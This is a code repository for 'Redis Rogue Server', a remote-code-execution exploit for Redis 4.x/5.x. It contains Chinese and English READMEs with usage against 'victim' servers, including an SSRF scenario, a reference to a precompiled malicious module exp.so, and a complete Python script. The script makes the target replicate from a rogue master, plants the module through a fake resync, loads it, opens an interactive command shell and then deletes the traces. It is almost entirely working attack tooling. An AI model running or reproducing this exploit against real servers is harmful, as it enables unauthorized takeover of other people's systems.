├── .gitignore ├── README.md ├── README_EN.md ├── exp.so └── redis-rogue-server.py /.gitignore: -------------------------------------------------------------------------------- 1 | RedisModulesSDK/ 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Redis Rogue Server 2 | 3 | Redis 4.x/Redis 5.x RCE利用脚本, 涉及技术点可参考 [Redis post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf). 4 | 5 | 经测试Redis 5.0.8也可以使用,没有出现ppt上写的5.0无法set/get config的情况. 6 | 7 | ## Usage 8 | 9 | 编译.so模块, 代码: . 10 | 11 | 将.so与 `redis-rogue-server.py`放置在同一目录下 12 | 13 | 项目自带了一个编译好的的exp.so文件, 可直接使用 14 | 15 | ### 主动连接模式 16 | 17 | 适用于目标Redis服务处于外网的情况 18 | - 外网Redis未授权访问 19 | - 已知外网Redis口令 20 | 21 | 启动redis rogue server,并主动连接目标redis服务发起攻击 22 | 23 | ```bash 24 | python3 redis-rogue-server.py --rhost --rport --lhost --lport 25 | ``` 26 | 27 | 参数说明: 28 | - `--rpasswd` 如果目标Redis服务开启了认证功能,可以通过该选项指定密码 29 | - `--rhost` 目标redis服务IP 30 | - `--rport` 目标redis服务端口,默认为6379 31 | - `--lhost` vps的外网IP地址 32 | - `--lport` vps监控的端口,默认为21000 33 | 34 | 攻击成功之后,你会得到一个交互式shell 35 | 36 | ### 被动连接模式 37 | 38 | 适用于目标Redis服务处于内网的情况 39 | - 通过SSRF攻击Redis 40 | - 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server 41 | 42 | 这种情况下可以使用`--server-only`选项 43 | 44 | ```bash 45 | python3 redis-rogue-server.py --server-only 46 | ``` 47 | 48 | 参数说明: 49 | - `--server-only` 仅启动redis rogue server, 接受目标redis的连接,不主动发起连接 50 | 51 | ## Copyright 52 | 53 | 本项目为[n0b0dyCN](https://github.com/n0b0dyCN)同名项目的fork, 在原项目代码基础之上修复了一些bug, 添加了一些新功能, 并针对不同漏洞利用场景做了一些优化。 54 | 55 | 因原作者删掉了原始repo, 所以直接挂到了我下面。 56 | 57 | 本项目版权归[Dliv3](https://github.com/Dliv3)和[n0b0dyCN](https://github.com/n0b0dyCN)所有。 58 | 59 | # 404StarLink 2.0 - Galaxy 60 | 61 | ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) 62 | 63 | [Redis Rogue Server](https://github.com/Dliv3/redis-rogue-server) 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)中的一环,如果对[Redis Rogue Server](https://github.com/Dliv3/redis-rogue-server)有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 64 | 65 | - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) -------------------------------------------------------------------------------- /README_EN.md: -------------------------------------------------------------------------------- 1 | # Redis Rogue Server 2 | 3 | A exploit for Redis 4.x/Redis 5.x RCE, inspired by [Redis post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf). 4 | 5 | Also works for Redis 5.0.8. 6 | 7 | ## Usage: 8 | 9 | Compile .so from . 10 | 11 | Copy the .so file to same folder with `redis-rogue-server.py`. 12 | 13 | ### Attack scenario 1 - redis unauthorized access/redis password known by attackers 14 | 15 | Run the rogue server, which will connect to the victim redis server to launch an attack 16 | 17 | ``` 18 | python3 redis-rogue-server.py --rhost --rport --lhost --lport 19 | ``` 20 | 21 | Usage: 22 | 23 | - `--rpasswd` if the victim redis service has authentication enabled, you can specify the password through this option 24 | - `--rhost` IP of the victim redis service 25 | - `--rport` port number of the victim redis service , default is 6379 26 | - `--lhost` external IP address of your VPS 27 | - `--lport` the port number of the rogue server, default is 21000 28 | 29 | Run this command, and you will get an interactive shell! 30 | 31 | ### Attack scenario 2 - using SSRF to attack redis 32 | 33 | You can use `--server-only` for SSRF cases. 34 | 35 | ```bash 36 | python3 redis-rogue-server.py --server-only 37 | ``` 38 | 39 | Usage: 40 | 41 | - `--server-only` only start the redis rogue server, do not actively connect to the victim redis server -------------------------------------------------------------------------------- /exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dliv3/redis-rogue-server/edfe7ab049fb2e18c3bde676fc76a7ef09b4b3cc/exp.so -------------------------------------------------------------------------------- /redis-rogue-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import sys 4 | from time import sleep 5 | from optparse import OptionParser 6 | 7 | payload = open("exp.so", "rb").read() 8 | CLRF = "\r\n" 9 | 10 | def mk_cmd_arr(arr): 11 | cmd = "" 12 | cmd += "*" + str(len(arr)) 13 | for arg in arr: 14 | cmd += CLRF + "$" + str(len(arg)) 15 | cmd += CLRF + arg 16 | cmd += "\r\n" 17 | return cmd 18 | 19 | def mk_cmd(raw_cmd): 20 | return mk_cmd_arr(raw_cmd.split(" ")) 21 | 22 | def din(sock, cnt): 23 | msg = sock.recv(cnt) 24 | if len(msg) < 300: 25 | print("\033[1;34;40m[->]\033[0m {}".format(msg)) 26 | else: 27 | print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:])) 28 | return msg.decode() 29 | 30 | def dout(sock, msg): 31 | if type(msg) != bytes: 32 | msg = msg.encode() 33 | sock.send(msg) 34 | if len(msg) < 300: 35 | print("\033[1;32;40m[<-]\033[0m {}".format(msg)) 36 | else: 37 | print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:])) 38 | 39 | def decode_shell_result(s): 40 | return "\n".join(s.split("\r\n")[1:-1]) 41 | 42 | class Remote: 43 | def __init__(self, rhost, rport): 44 | self._host = rhost 45 | self._port = rport 46 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 47 | self._sock.connect((self._host, self._port)) 48 | 49 | def send(self, msg): 50 | dout(self._sock, msg) 51 | 52 | def recv(self, cnt=65535): 53 | return din(self._sock, cnt) 54 | 55 | def do(self, cmd): 56 | self.send(mk_cmd(cmd)) 57 | buf = self.recv() 58 | return buf 59 | 60 | def shell_cmd(self, cmd): 61 | self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)])) 62 | buf = self.recv() 63 | return buf 64 | 65 | class RogueServerConst: 66 | class PHASE: 67 | READY = 0 68 | PING = 10 69 | AUTH = 20 70 | REPLCONF = 30 71 | SYNC = 100 72 | class RogueServer: 73 | def __init__(self, lhost, lport): 74 | self._host = lhost 75 | self._port = lport 76 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 77 | self._sock.bind((self._host, self._port)) 78 | self._sock.listen(10) 79 | 80 | def handle(self, data): 81 | resp = "" 82 | phase = RogueServerConst.PHASE.READY 83 | if "PING" in data: 84 | resp = "+PONG" + CLRF 85 | phase = RogueServerConst.PHASE.PING 86 | elif "AUTH" in data: 87 | resp = "+OK" + CLRF 88 | phase = RogueServerConst.PHASE.AUTH 89 | elif "REPLCONF" in data: 90 | resp = "+OK" + CLRF 91 | phase = RogueServerConst.PHASE.REPLCONF 92 | elif "PSYNC" in data or "SYNC" in data: 93 | resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF 94 | # send incorrect length 95 | resp += "$" + str(len(payload)) + CLRF 96 | resp = resp.encode() 97 | resp += payload + CLRF.encode() 98 | phase = RogueServerConst.PHASE.SYNC 99 | return resp, phase 100 | 101 | def exp(self): 102 | cli, addr = self._sock.accept() 103 | while True: 104 | data = din(cli, 1024) 105 | if len(data) == 0: 106 | break 107 | resp, phase = self.handle(data) 108 | dout(cli, resp) 109 | if phase == RogueServerConst.PHASE.SYNC: 110 | break 111 | 112 | def interact(remote): 113 | try: 114 | while True: 115 | cmd = input("\033[1;32;40m[<<]\033[0m ").strip() 116 | if cmd == "exit": 117 | return 118 | r = remote.shell_cmd(cmd) 119 | for l in decode_shell_result(r).split("\n"): 120 | if l: 121 | print("\033[1;34;40m[>>]\033[0m " + l) 122 | except KeyboardInterrupt: 123 | return 124 | 125 | def runserver(rhost, rport, passwd, lhost, lport, bind_addr, server_only): 126 | if server_only: 127 | rogue = RogueServer(bind_addr, lport) 128 | print('Use the following commands to attack redis server:') 129 | print('>>> SLAVEOF rogue-server-ip rogue-server-port') 130 | print('>>> CONFIG GET dbfilename') 131 | print('>>> CONFIG GET dir') 132 | print('>>> CONFIG SET /path/to/expdbfile') 133 | print('Waiting for connection...') 134 | rogue.exp() 135 | print('Payload sent.\nRun "MODULE LOAD /path/to/expdbfile" on target redis server to enable the plugin.') 136 | return 137 | 138 | # expolit 139 | remote = Remote(rhost, rport) 140 | 141 | # auth 142 | if passwd: 143 | remote.do("AUTH {}".format(passwd)) 144 | 145 | # slave of 146 | remote.do("SLAVEOF {} {}".format(lhost, lport)) 147 | 148 | # read original config 149 | dbfilename = remote.do("CONFIG GET dbfilename").split(CLRF)[-2] 150 | dbdir = remote.do("CONFIG GET dir").split(CLRF)[-2] 151 | 152 | # modified to eval config 153 | eval_module = "exp.so" 154 | eval_dbpath = "{}/{}".format(dbdir, eval_module) 155 | remote.do("CONFIG SET dbfilename {}".format(eval_module)) 156 | 157 | # rend .so to victim 158 | sleep(2) 159 | rogue = RogueServer(bind_addr, lport) 160 | rogue.exp() 161 | sleep(2) 162 | 163 | # load .so 164 | remote.do("MODULE LOAD {}".format(eval_dbpath)) 165 | remote.do("SLAVEOF NO ONE") 166 | 167 | # Operations here 168 | interact(remote) 169 | 170 | # clean up 171 | # restore original config, delete eval .so 172 | remote.do("CONFIG SET dbfilename {}".format(dbfilename)) 173 | remote.shell_cmd("rm {}".format(eval_dbpath)) 174 | remote.do("MODULE UNLOAD system") 175 | 176 | if __name__ == '__main__': 177 | parser = OptionParser() 178 | parser.add_option("--rhost", dest="rh", type="string", 179 | help="target host") 180 | parser.add_option("--rport", dest="rp", type="int", 181 | help="target redis port, default 6379", default=6379) 182 | parser.add_option("--passwd", dest="rpasswd", type="string", 183 | help="target redis password") 184 | parser.add_option("--lhost", dest="lh", type="string", 185 | help="rogue server ip") 186 | parser.add_option("--lport", dest="lp", type="int", 187 | help="rogue server listen port, default 21000", default=21000) 188 | parser.add_option("--bind", dest="bind_addr", type="string", default="0.0.0.0", 189 | help="rogue server bind ip, default 0.0.0.0") 190 | parser.add_option("--server-only", dest="server_only", action="store_true", default=False, 191 | help="start rogue server only, no attack, default false") 192 | 193 | (options, args) = parser.parse_args() 194 | if not options.server_only and (not options.rh or not options.lh): 195 | parser.error("Invalid arguments") 196 | print("TARGET {}:{}".format(options.rh, options.rp)) 197 | print("SERVER {}:{}".format(options.lh, options.lp)) 198 | print("BINDING {}:{}".format(options.bind_addr, options.lp)) 199 | runserver(options.rh, options.rp, options.rpasswd, options.lh, options.lp, options.bind_addr, options.server_only) 200 | --------------------------------------------------------------------------------